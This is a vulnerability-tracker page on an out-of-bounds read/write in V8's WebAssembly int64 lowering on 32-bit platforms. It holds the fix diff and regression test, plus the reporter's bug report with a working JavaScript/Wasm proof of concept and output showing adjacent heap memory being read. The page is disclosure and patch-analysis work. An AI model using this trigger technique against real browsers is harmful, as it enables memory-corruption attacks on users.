High watch CVSS 8.8 chrome OOB 📄 Reporter bug report 🔧 Commit mapped

Overview

High
Severity
8.8
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactOut of bounds memory access in V8
DescriptionOut of bounds memory access in V8
ComponentV8
Sub-componentWASM
Bug ClassOOB
Action tierwatch — corruption primitive but gated (uncommon) — not default-reachable
Computed by PatchGap's deterministic exploitability ruler from the fixing commit. patch-now = RCE-class & attacker-reachable in a default config, or exploited in the wild; watch = real security signal below that bar; noise = no security relevance.
Tracker502030575
Fix commit7c165d90f080 (v8/v8) +67/-13
CWECWE-787, CWE-125 (Out-of-bounds write, Out-of-bounds read)
CVSS vectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
CISA KEVNot listed
CreditedJunYoung Park(@candymate) of KAIST Hacking Lab
Reported2026-04-13 · bounty $8000 (per vendor advisory)
Fix landed2026-04-15 (public git)
Disclosed2026-05-05
Patch gap20 days — fix public in source before the advisory

Background

Int64 lowering
on 32-bit platforms V8’s Turboshaft splits every 64-bit operation into two 32-bit halves; an i64 load/store becomes a low 32-bit access at offset and a high 32-bit access at offset + 4.
`IncreaseOffset`
the helper that produces the {index, offset} pair for the high half by adding sizeof(int32_t) to the low half’s offset.
Effective address model
a memory access resolves to index * element_size + offset; element_size is derived from the operation’s element_size_log2 / element_scale.
`LoadOp::OffsetIsValid`
returns false for exactly one encoding-invalid offset value (INT32_MIN), so a computed new_offset hitting it must be re-expressed differently.

Root Cause Analysis

When lowering the high half of an i64 access, IncreaseOffset computes new_offset = offset + sizeof(int32_t); if that equals INT32_MIN, LoadOp::OffsetIsValid rejects it and the code must move the extra +4 into the index instead of the offset. The old code, in that invalid branch, reset new_offset = offset (the original low-half offset, not the intended offset + 4) and adjusted the index by add_offset (4) — or set it to the constant sizeof(int32_t) (4) when there was no index. Because the index is multiplied by element_size, adding 4 to the index shifts the effective address by 4 * element_size rather than the intended +4 bytes, and resetting the offset to the low-half value compounds the error, so the high 32-bit half is read/written at the wrong (out-of-bounds) location.

The fix passes element_size_log2/element_scale into IncreaseOffset, and in the invalid branch subtracts exactly one element from the offset (new_offset -= element_size) while adding exactly 1 to the index (or setting index constant 1), so the effective address is (index+1)*element_size + (offset+4-element_size) = index*element_size + offset + 4, the correct high-half location.

Key insight
The invalid-offset fallback added the raw byte delta to the index without accounting for the index’s element_size scaling (and reused the wrong base offset), miscomputing the high-half address by 4 * element_size; the fix scales correctly by shifting exactly one element between index and offset.

Attack Path

  1. Target a 32-bit build The int64-lowering reducer only runs on 32-bit platforms, so the bug is reachable when the module executes there.
  2. Craft an i64 array access with a poisoned offset As in the PoC, use a kWasmI64 array and an index/constant arithmetic (BIG_CONST chosen so BIG_CONST*8 + header + 4 == INT32_MIN) so the folded constant makes the high-half new_offset hit the single invalid value.
  3. Hit the buggy fallback Lowering enters the !OffsetIsValid branch, where the old code adds the byte delta to the element-scaled index and reuses the wrong offset, computing an effective address 4 * element_size off from the real high 32-bit half.
  4. Out-of-bounds access The generated code reads (or, on the store path, writes) the high 32 bits of the i64 at a location outside the intended array element, an out-of-bounds memory access (the PoC observes a wrong loaded value; broader corruption is (inferred)).

Impact Assessment

On 32-bit platforms an attacker running a crafted WebAssembly module in the renderer can cause out-of-bounds memory reads and writes by driving an i64 access whose lowered high-half offset equals INT32_MIN, mis-computing the second 32-bit access address. The precondition is a 32-bit V8/Wasm build compiling the crafted module. The advisory classifies this as out-of-bounds memory access in V8 and does not report exploited-in-the-wild status; escalation beyond the misdirected 32-bit access the PoC demonstrates is (inferred).

Files Changed

  • src/compiler/turboshaft/int64-lowering-reducer.h
  • test/mjsunit/regress/wasm/regress-502030575.js

Audit Directions

  • Mixing byte deltas with scaled indices
    Audit any address computation that adds a raw byte constant to an index that is later multiplied by an element size, which double-counts or mis-scales the delta.
  • Invalid-value fallbacks
    Review fallback branches guarded by encoding-validity checks (like OffsetIsValid) to confirm the alternative encoding produces the identical effective address, not merely a valid one.
  • Split-access lowering on 32-bit
    Examine other 64-bit-to-32-bit lowering helpers (loads, stores, atomics) for consistent handling of the high-half offset across tagged_base, array, and memory representations.
From 7c165d90f0800b78c92fd0c13690e7b40683026a Mon Sep 17 00:00:00 2001
From: Matthias Liedtke <[email protected]>
Date: Tue, 14 Apr 2026 16:31:35 +0200
Subject: [PATCH] [wasm] 32 bit platforms: Fix int64 lowering for 'invalid' offsets

The logic for the case !LoadOp::OffsetIsValid() was not correct.

Fixed: 502030575
Change-Id: I81692e2bb7cc15f85911c0110b84ae3a66189d53
Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/7758773
Auto-Submit: Matthias Liedtke <[email protected]>
Reviewed-by: Darius Mercadier <[email protected]>
Commit-Queue: Matthias Liedtke <[email protected]>
Cr-Commit-Position: refs/heads/main@{#106481}
---

diff --git a/src/compiler/turboshaft/int64-lowering-reducer.h b/src/compiler/turboshaft/int64-lowering-reducer.h
index 1cad223..2eb3a97 100644
--- a/src/compiler/turboshaft/int64-lowering-reducer.h
+++ b/src/compiler/turboshaft/int64-lowering-reducer.h
@@ -308,10 +308,10 @@
     FATAL("%s", str.str().c_str());
   }
 
-  std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index,
-                                                       int32_t offset,
-                                                       int32_t add_offset,
-                                                       bool tagged_base) {
+  std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(
+      OptionalV<Word32> index, int32_t offset, int32_t add_offset,
+      uint8_t element_size_log2, bool tagged_base) {
+    uint32_t element_size = 1 << element_size_log2;
     // Note that the offset will just wrap around. Still, we need to always
     // use an offset that is not std::numeric_limits<int32_t>::min() on tagged
     // loads.
@@ -321,13 +321,17 @@
         static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset);
     OptionalV<Word32> new_index = index;
     if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) {
-      // We cannot encode the new offset so we use the old offset
-      // instead and use the Index to represent the extra offset.
-      new_offset = offset;
+      // We cannot encode the new offset because it has the one invalid value.
+      // We can choose any other value and the only requirement is that we end
+      // up at the same final location after calculating
+      // |  index * element_size + offset
+      // So we'll just subtract "one element" and increase the index by one.
+      // We could do this for almost any arbitrary value larger than 0.
+      new_offset -= element_size;
       if (index.has_value()) {
-        new_index = __ Word32Add(new_index.value(), add_offset);
+        new_index = __ Word32Add(new_index.value(), 1);
       } else {
-        new_index = __ Word32Constant(sizeof(int32_t));
+        new_index = __ Word32Constant(1);
       }
     }
     return {new_index, new_offset};
@@ -360,8 +364,8 @@
     }
     if (loaded_rep == MemoryRepresentation::Int64() ||
         loaded_rep == MemoryRepresentation::Uint64()) {
-      auto [high_index, high_offset] =
-          IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
+      auto [high_index, high_offset] = IncreaseOffset(
+          index, offset, sizeof(int32_t), element_scale, kind.tagged_base);
       return __ MakeTuple(
           Next::ReduceLoad(base, index, kind, MemoryRepresentation::Int32(),
                            RegisterRepresentation::Word32(), offset,
@@ -405,8 +409,8 @@
                         maybe_initializing_or_transitioning,
                         maybe_indirect_pointer_tag);
       // high store
-      auto [high_index, high_offset] =
-          IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
+      auto [high_index, high_offset] = IncreaseOffset(
+          index, offset, sizeof(int32_t), element_size_log2, kind.tagged_base);
       Next::ReduceStore(
           base, high_index, high, kind, MemoryRepresentation::Int32(),
           write_barrier, memory_order, high_offset, element_size_log2,
diff --git a/test/mjsunit/regress/wasm/regress-502030575.js b/test/mjsunit/regress/wasm/regress-502030575.js
new file mode 100644
index 0000000..f0fd90b
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-502030575.js
@@ -0,0 +1,50 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let builder = new WasmModuleBuilder();
+let array_type = builder.addArray(kWasmI64);
+
+// For 32 bit platforms:
+// Choose a big constant offset, so that when adding the constant wasm array
+// header offset and the extra offset for the 2nd i32 load we end up with a
+// value that exactly equals INT32_MIN (which is the singular value that
+// returns false for LoadOp::OffsetIsValid()).
+const BIG_CONST = 0xFFFFFFE;
+const WASM_ARRAY_HEADER = 12; // map + hash + array size (subject to change)
+const SECOND_LOAD_OFFSET = 4
+const INT32_MIN = 1 << 31;
+assertEquals(
+  (BIG_CONST * 8 + WASM_ARRAY_HEADER + SECOND_LOAD_OFFSET) | 0,
+  INT32_MIN);
+let testValue = 0x1234_5678_90ab_cdefn;
+
+builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
+  .addLocals(wasmRefNullType(array_type), 1)
+  .addBody([
+    // Create an array with a single value
+    ...wasmI32Const(1),
+    kGCPrefix, kExprArrayNewDefault, array_type,
+    kExprLocalTee, 1,
+    // Write a value at offset 0.
+    kExprI32Const, 0,
+    ...wasmI64Const(testValue),
+    kGCPrefix, kExprArraySet, array_type,
+    // Read the value at offset 0 by having the index calculation
+    // (BIG_CONST - BIG_CONST). The i32.const in the code will be folded into
+    // the offset of the load.
+    kExprLocalGet, 1,
+    kExprLocalGet, 0,
+    ...wasmI32Const(BIG_CONST),
+    kExprI32Add,
+    kGCPrefix, kExprArrayGet, array_type,
+  ])
+  .exportFunc();
+
+let instance = builder.instantiate();
+let result = instance.exports.test(-BIG_CONST);
+assertEquals(testValue, result);
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/test/mjsunit/regress/wasm/regress-502030575.js b/test/mjsunit/regress/wasm/regress-502030575.js
new file mode 100644
index 0000000..f0fd90b
--- /dev/null
+++ b/test/mjsunit/regress/wasm/regress-502030575.js
@@ -0,0 +1,50 @@
+// Copyright 2026 the V8 project authors. All rights reserved.
+// Use of this source code is governed by a BSD-style license that can be
+// found in the LICENSE file.
+
+// Flags: --allow-natives-syntax
+
+d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");
+
+let builder = new WasmModuleBuilder();
+let array_type = builder.addArray(kWasmI64);
+
+// For 32 bit platforms:
+// Choose a big constant offset, so that when adding the constant wasm array
+// header offset and the extra offset for the 2nd i32 load we end up with a
+// value that exactly equals INT32_MIN (which is the singular value that
+// returns false for LoadOp::OffsetIsValid()).
+const BIG_CONST = 0xFFFFFFE;
+const WASM_ARRAY_HEADER = 12; // map + hash + array size (subject to change)
+const SECOND_LOAD_OFFSET = 4
+const INT32_MIN = 1 << 31;
+assertEquals(
+  (BIG_CONST * 8 + WASM_ARRAY_HEADER + SECOND_LOAD_OFFSET) | 0,
+  INT32_MIN);
+let testValue = 0x1234_5678_90ab_cdefn;
+
+builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
+  .addLocals(wasmRefNullType(array_type), 1)
+  .addBody([
+    // Create an array with a single value
+    ...wasmI32Const(1),
+    kGCPrefix, kExprArrayNewDefault, array_type,
+    kExprLocalTee, 1,
+    // Write a value at offset 0.
+    kExprI32Const, 0,
+    ...wasmI64Const(testValue),
+    kGCPrefix, kExprArraySet, array_type,
+    // Read the value at offset 0 by having the index calculation
+    // (BIG_CONST - BIG_CONST). The i32.const in the code will be folded into
+    // the offset of the load.
+    kExprLocalGet, 1,
+    kExprLocalGet, 0,
+    ...wasmI32Const(BIG_CONST),
+    kExprI32Add,
+    kGCPrefix, kExprArrayGet, array_type,
+  ])
+  .exportFunc();
+
+let instance = builder.instantiate();
+let result = instance.exports.test(-BIG_CONST);
+assertEquals(testValue, result);
Loading diff…

Original Bug Report

reported by [email protected]

V8: Incorrect Address Computation in Int64LoweringReducer via IncreaseOffset element_scale Mishandling

Summary

A bug in Turboshaft’s Int64LoweringReducer::IncreaseOffset on 32-bit platforms (ia32, ARM) causes incorrect address computation when splitting 64-bit loads into two 32-bit loads. When element_scale > 0 and the offset+4 wraps to INT32_MIN for tagged-base loads, the fallback path adds 4 to the index instead of the offset — but the element_scale is still applied to the modified index, causing the high word to be loaded from base + (index+4)*scale + offset instead of base + index*scale + offset + 4. For i64 arrays (element_scale=3), this creates a 28-byte address error (4*8 - 4 = 28), reading the high word from adjacent heap memory past the WasmGC array.

NOTE: I’m reporting this as Type:Bug because 1) I cannot change the address offset (only offset of 28 is possible), 2) load/store occurs in benign area, and 3) WASM memory is anyway guarded by guard pages.

Bug

Summary

The IncreaseOffset function in Int64LoweringReducer does not account for element_scale when falling back to adding the offset increment to the index. When MachineOptimizationReducer folds a large constant from an i32.add index computation into the Load offset (reaching INT32_MAX - 3), the subsequent IncreaseOffset(offset, 4) call for the high-word load overflows to INT32_MIN, which is invalid for tagged-base loads. The fallback adds 4 to the index, but since element_scale=3 is still applied, the high word is loaded from an address 28 bytes too far. The same bug also affects the REDUCE(Store) path (line 363-406), which uses the same IncreaseOffset function to split 64-bit stores.

Detail

The bug exists in the interaction between MachineOptimizationReducer (constant folding) and Int64LoweringReducer (64-bit to 32-bit splitting):

Step 1: WasmLoweringReducer emits Load with element_scale=3

WasmGC array.get on an i64 array is lowered to a Load with element_scale = value_kind_size_log2(i64) = 3 and offset = WasmArray::kHeaderSize = 12:

// src/compiler/turboshaft/wasm-lowering-reducer.h:358
return __ Load(array, __ ChangeInt32ToIntPtr(index), load_kind,
               RepresentationFor(array_type->element_type(), is_signed),
               WasmArray::kHeaderSize,                              // offset = 12
               array_type->element_type().value_kind_size_log2());  // element_scale = 3

Step 2: MachineOptimizationReducer folds constants into the offset

// src/compiler/turboshaft/machine-optimization-reducer.h:2732-2744
} else if (const WordBinopOp* binary_op =
               index_op.TryCast<WordBinopOp>()) {
  if (binary_op->kind == WordBinopOp::Kind::kAdd &&
      TryAdjustOffset(offset, matcher_.Get(binary_op->right()),
                      *element_scale, tagged_base)) {
    index = binary_op->left();
    continue;  // element_scale is PRESERVED
  }
}

When the Wasm code computes array.get(arr, param + 268435454), the constant 268435454 is folded into the offset via TryAdjustOffset (line 2646-2670), which multiplies by 1 << element_scale: offset = 12 + 268435454 * 8 = 2147483644 (which is INT32_MAX - 3). Crucially, element_scale remains 3.

TryAdjustOffset validates this new offset passes LoadOp::OffsetIsValid(2147483644, true), which checks offset >= INT32_MIN + kHeapObjectTag = INT32_MIN + 1 — this succeeds.

Step 3: Int64LoweringReducer splits the i64 load

// src/compiler/turboshaft/int64-lowering-reducer.h:347-358
if (loaded_rep == MemoryRepresentation::Int64() || ...) {
  auto [high_index, high_offset] =
      IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
  return __ MakeTuple(
      Next::ReduceLoad(base, index, kind, ..., offset, element_scale),
      Next::ReduceLoad(base, high_index, kind, ..., high_offset, element_scale));
      //                                                         ^^^^^^^^^^^^^ BUG
}

Step 4: IncreaseOffset triggers the fallback

// src/compiler/turboshaft/int64-lowering-reducer.h:297-320
std::pair<OptionalV<Word32>, int32_t> IncreaseOffset(OptionalV<Word32> index,
                                                     int32_t offset,
                                                     int32_t add_offset,
                                                     bool tagged_base) {
  int32_t new_offset =
      static_cast<uint32_t>(offset) + static_cast<uint32_t>(add_offset);
  // new_offset = 2147483644 + 4 = 2147483648 → wraps to INT32_MIN as int32_t
  OptionalV<Word32> new_index = index;
  if (!LoadOp::OffsetIsValid(new_offset, tagged_base)) {
    // INT32_MIN < INT32_MIN + 1 → invalid for tagged loads
    new_offset = offset;  // keep original offset
    if (index.has_value()) {
      new_index = __ Word32Add(new_index.value(), add_offset);
      // Adds 4 to the INDEX — but element_scale=3 will be applied later!
    }
  }
  return {new_index, new_offset};
}

IncreaseOffset is unaware of element_scale. When it adds 4 to the index, the subsequent Load applies element_scale=3, making the effective byte offset 4 * 8 = 32 instead of the intended 4.

Address computation:

  • Low word (correct): base + index*8 + 2147483644
  • High word (buggy): base + (index+4)*8 + 2147483644 = base + index*8 + 32 + 2147483644
  • High word (correct): base + index*8 + 2147483644 + 4
  • Error: 32 - 4 = 28 bytes

Trigger Conditions

  1. 32-bit platform (ia32 or ARM) — Int64LoweringReducer only runs on 32-bit
  2. WasmGC i64 array — element_scale=3 and tagged_base=true
  3. Array index computed as Add(variable, large_constant) — enables partial constant folding (the constant is folded into the offset while the variable remains as the index with element_scale preserved)
  4. Constant value of exactly (INT32_MAX - 3 - kHeaderSize) / 8 = 268435454 — produces offset INT32_MAX - 3, so adding 4 wraps to INT32_MIN
  5. Function compiled with Turboshaft (occurs through tier-up after ~40K calls, or immediately with --no-liftoff)

Version

Reproduced Version

  • main branch latest commit (2026/04/13): 3daaa64319f
  • V8 14.9.0

Bisect

The bug was introduced by the following commit, which added the IncreaseOffset function to handle offset overflow when splitting 64-bit loads:

commit e4e12c9ebff42aaf1fd6725396d132ae058fd8c6
Author: Matthias Liedtke <[email protected]>
Date:   Thu Jun 13 12:45:48 2024 +0200

    [wasm][turboshaft] Fix Load offset overflow in Int64Lowering

    Same as https://crrev.com/c/5608453 but for the LoadOp.
    The offset may be any value excluding int32 min for tagged loads.

    Fixed: 346505953
    Bug: 344014332
    Change-Id: I716e578d1ccd659203b1c739e77b56e3cb2bd4b0
    Reviewed-on: https://chromium-review.googlesource.com/c/v8/v8/+/5626025
    Cr-Commit-Position: refs/heads/main@{#94430}

This commit was intended to fix a different offset overflow issue (crbug 346505953) but introduced this new bug: the IncreaseOffset fallback path does not account for element_scale when adding to the index. The existing regression test (test/mjsunit/regress/wasm/regress-346505953.js) only tests that an out-of-bounds access traps — it does not test the fallback path with a variable index and element_scale > 0.

Reproduction Case

Two versions are provided: Version 1 uses --no-liftoff for instant reproduction; Version 2 triggers through natural tier-up (no special flags).

Release Build

Version 1 (with --no-liftoff):

out/ia32.release/d8 --no-liftoff poc.js

Result (ia32 release):

BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

The high word reads from offset 44 while the 1-element array ends at offset 20 (kHeaderSize + 1*8), confirming the high word is read from 24 bytes past the array allocation. The value 0x0 is whatever happened to be in adjacent heap memory.

Version 2 (natural tier-up, no flags):

out/ia32.release/d8 poc.js

Result (ia32 release):

BUG DETECTED on iteration 52252!
Expected: 0x1111111100000001
Got:      0x100000001
Low word:  0x1
High word: 0x1
High word read from offset 44 — 24 bytes past the 20-byte array end

Result (ARM release, with --no-liftoff):

BUG DETECTED on iteration 35795!
Expected: 0x1111111100000001
Got:      0x1
Low word:  0x1
High word: 0x0
High word read from offset 44 — 24 bytes past the 20-byte array end

On x64, the bug does NOT reproduce (Int64LoweringReducer does not run on 64-bit platforms):

out/x64.release/d8 --no-liftoff poc.js
# Output: No bug detected (function may not have tiered up to Turboshaft)

Debug Build

out/ia32.debug/d8 --no-liftoff poc.js

Result (ia32 debug):

BUG DETECTED on iteration 0!
Expected: 0x1111111100000001
Got:      0x-21524110ffffffff
Low word:  0x1
High word: 0xdeadbeef
High word read from offset 44 — 24 bytes past the 20-byte array end

The leaked high word 0xdeadbeef is V8’s debug zap value for uninitialized/freed memory, confirming the read reached into adjacent uninitialized heap memory.

Note: No DCHECK fires for this bug because the inputs to IncreaseOffset are individually valid — the error is semantic (element_scale is not considered), not a simple bounds violation.

PoC Code

// PoC: Int64LoweringReducer IncreaseOffset incorrect address computation
// Affects: 32-bit platforms (ia32, ARM) when compiled with Turboshaft
// Bug: High word of i64 loaded from wrong address (28 bytes off)
//
// Run with: out/ia32.release/d8 --no-liftoff poc.js
//       or: out/ia32.release/d8 poc.js  (triggers via natural tier-up)

d8.file.execute("test/mjsunit/wasm/wasm-module-builder.js");

let builder = new WasmModuleBuilder();
let array_type = builder.addArray(kWasmI64);

// This constant causes MachineOptimizationReducer to fold it into the Load offset:
// offset = kHeaderSize + BIG_CONST * 8 = 12 + 268435454*8 = 2147483644 = INT32_MAX-3
// Adding 4 for the high word wraps to INT32_MIN, triggering the IncreaseOffset bug
const BIG_CONST = 268435454;

builder.addFunction("test", makeSig([kWasmI32], [kWasmI64]))
  .addLocals(wasmRefNullType(array_type), 1)
  .addBody([
    // Create array of 1 i64 element (20 bytes total).
    // Correct high word: offset 16 (within array).
    // Buggy high word:   offset 44 (24 bytes PAST array end).
    ...wasmI32Const(1),
    kGCPrefix, kExprArrayNewDefault, array_type,
    kExprLocalSet, 1,

    // Set element 0 = 0x1111111100000001 (low=0x00000001, high=0x11111111)
    kExprLocalGet, 1,
    ...wasmI32Const(0),
    ...wasmI64Const(0x1111111100000001n),
    kGCPrefix, kExprArraySet, array_type,

    // Read element at index (param + BIG_CONST)
    // When param=-BIG_CONST, effective index=0, bounds check passes
    // But high word is read from offset 44 — 24 bytes past the array end
    kExprLocalGet, 1,
    kExprLocalGet, 0,
    ...wasmI32Const(BIG_CONST),
    kExprI32Add,
    kGCPrefix, kExprArrayGet, array_type,
  ])
  .exportFunc();

let instance = builder.instantiate();

let expected = 0x1111111100000001n;
let bugDetected = false;

// Call enough times to trigger tier-up to Turboshaft
for (let i = 0; i < 100000; i++) {
  let result = instance.exports.test(-BIG_CONST);
  if (result !== expected) {
    print("BUG DETECTED on iteration " + i + "!");
    print("Expected: 0x" + expected.toString(16));
    print("Got:      0x" + result.toString(16));
    print("Low word:  0x" + (result & 0xFFFFFFFFn).toString(16));
    print("High word: 0x" + ((result >> 32n) & 0xFFFFFFFFn).toString(16));
    print("High word read from offset 44 — 24 bytes past the 20-byte array end");
    bugDetected = true;
    break;
  }
}

if (!bugDetected) {
  print("No bug detected (function may not have tiered up to Turboshaft)");
}

Suggested Patch

File: src/compiler/turboshaft/int64-lowering-reducer.h

@@ -347,6 +347,13 @@
     if (loaded_rep == MemoryRepresentation::Int64() ||
         loaded_rep == MemoryRepresentation::Uint64()) {
+      // When element_scale > 0, fold it into the index before splitting.
+      // IncreaseOffset adds to the index on fallback, but the element_scale
+      // would still be applied, causing an incorrect address for the high word.
+      if (element_scale > 0 && index.has_value()) {
+        index = __ Word32ShiftLeft(index.value(), element_scale);
+        element_scale = 0;
+      }
       auto [high_index, high_offset] =
           IncreaseOffset(index, offset, sizeof(int32_t), kind.tagged_base);
       return __ MakeTuple(

The fix normalizes element_scale to 0 by folding the shift into the index before splitting the 64-bit load. This ensures IncreaseOffset’s fallback path (adding to the index) produces a correct byte-level offset of +4, regardless of whether the offset increment goes to the offset field or the index. The atomic code paths (lines 326-338) already correctly pre-fold element_scale in the same way. The same fix should be applied to the REDUCE(Store) handler (line 388-400) which has the identical bug.

View on issue tracker